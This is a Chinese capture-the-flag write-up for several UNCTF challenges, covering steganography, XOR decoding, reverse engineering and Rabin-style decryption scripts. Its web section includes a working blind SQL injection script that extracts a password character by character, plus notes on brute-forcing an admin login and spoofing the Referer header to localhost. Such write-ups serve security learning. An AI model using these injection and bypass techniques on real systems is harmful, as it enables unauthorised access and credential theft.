UNCTF几个题目

Misc
0x01 亲爱的

题目是亲爱的热爱的里的 李现唱海阔天空??
开始试了音频隐写,无果。虚拟机看是否有隐藏文件,foremost一下出现一个名为zip的文件夹,里面有一个压缩包
UNCTF几个题目_第1张图片
爆破无果,4-6位都试了,winhex也看了,无果,然后strings命令看一下发现一句
UNCTF几个题目_第2张图片
开始以为可能是MP3stego解密用的,后面无果
最后,qq音乐翻评论区翻了一波又一波才拿到密码 牛逼

后面得到一张二次元图片,后面看了下其实是个压缩包,然后修改下后缀,然后flag在image1.png里面

0x02 Misc 信号不好我先挂了

前面的弯路就不说了,后面用stegSolve打开看,看到有压缩包文件
UNCTF几个题目_第3张图片
保存文件后哦再打开是一张新的jpg文件,看起来和前面的一样,然后想到可能是盲水印,
先下载opencv库,命令pip install opencv-python
UNCTF几个题目_第4张图片
然后去github上面下了一个bwm.py
脚本用py2写的,所以cv库要装在py2上啊,之前这里搞了好久啊好烦的
脚本跑一下 命令 python bwm.py decode apple.png pen.png 1.png
在这里插入图片描述

0x03 快乐的游戏题

这个玩一下就出来了

0x04 Think
import base64
'''
a=['MTM=','MDI=','MDI=','MTM=','MWQ=','NDY=','NWE=','MDI=','NGQ=','NTI=','NGQ=','NTg=','NWI=','MTU=','NWU=','MTQ=','MGE=','NWE=','MTI=','MDA=','NGQ=','NWM=','MDE=','MTU=','MDc=','MTE=','MGM=','NTA=','NDY=','NTA=','MTY=','NWI=','NTI=','NDc=','MDI=','NDE=','NWU=','MWU=']
flag=[]
key='unctf'
for i in a:
	i='0x'+base64.b64decode(i)
	flag.append(i)
'''
key='unctf'
a=[0x13, 0x02, 0x02, 0x13, 0x1d, 0x46, 0x5a, 0x02, 0x4d, 0x52, 0x4d, 0x58, 0x5b, 0x15, 0x5e, 0x14, 0x0a, 0x5a, 0x12, 0x00, 0x4d, 0x5c, 0x01, 0x15, 0x07, 0x11, 0x0c, 0x50, 0x46, 0x50, 0x16, 0x5b, 0x52, 0x47, 0x02, 0x41, 0x5e, 0x1e]
true=''
for i in range(len(a)):
	true+=chr(ord(key[i%len(key)])^a[i])

print true

Web
0x03 帮赵总征婚

听说是签到题
打开题目登陆框,打算爆破一下
直接admin登陆
UNCTF几个题目_第5张图片拿了个超大的字典去跑,跑到六千多的时候爆出来了,真 签到
UNCTF几个题目_第6张图片

0x04 easy_admin

脚本:

import requests

url = 'http://101.71.29.5:10049/index.php?file=forget'
result = ''
for x in range(0, 100):
    high = 255
    low = 0
    mid = (low + high) // 2
    while high > low:
        payload = "1'or if(ascii(substr((password),%d,1))>%d,1,0)#" % (x, mid)
        params = {
            'username':payload
        }
        response = requests.post(url, data=params)#,proxies=proxies)
        if b'hacker' in response.content:
            print("error sql,exit")
            exit(0)
        if b'ok' in response.content:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    result += chr(int(mid))
    print(result)

可以跑出前面一半,用admin登陆后退出隐私模式,后面抓包更改referer:127.0.0.1会在响应里看到后面一半flag

Re
0x04 奇怪的数组

首先运行后,会显示show your flag
拖进32位的IDA里面看一下,先看主函数,
UNCTF几个题目_第7张图片
这一段啊哈哈哈哈就是了转成字符串提交就可以了,但是要注意用flag{}包起来
UNCTF几个题目_第8张图片

0x05 666

首先题目拖进IDA里面看了下,一打开就给了个假flag。。
先看了下main函数里面有比较flag,然后看了下encode函数
直接上脚本,

key=18
enflag=r'izwhroz""w"v.K".Ni'

flag=""
i=0

while (i<16):
    print(chr((ord(enflag[i])^ 18) -6),end="")
    print(chr((ord(enflag[i+1]) ^ 18) + 6),end="")
    print(chr(ord(enflag[i+2]) ^ 18 ^ 6 ),end="")
    i +=3

print(flag)

UNCTF几个题目_第9张图片

babyxor

手动脱壳然后OD调试就出来了

Crypto
0x06 一句话加密

脚本:

import gmpy

def n2s(num):
	t = hex(num)[2:]
	if len(t) % 2 == 1:
		return ('0'+t).decode('hex')
	return t.decode('hex')

c = 62501276588435548378091741866858001847904773180843384150570636252430662080263
p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239
n = p*q
r = pow(c,int((p+1)/4),p)
s = pow(c,int((q+1)/4),q)
a = gmpy.invert(p,q)
b = gmpy.invert(q,p)
x =(a*p*s+b*q*r)%n
y =(a*p*s-b*q*r)%n

print (n2s(x%n))
print (n2s((-x)%n))
print (n2s(y%n))
print (n2s((-y)%n))

你可能感兴趣的:(CTF)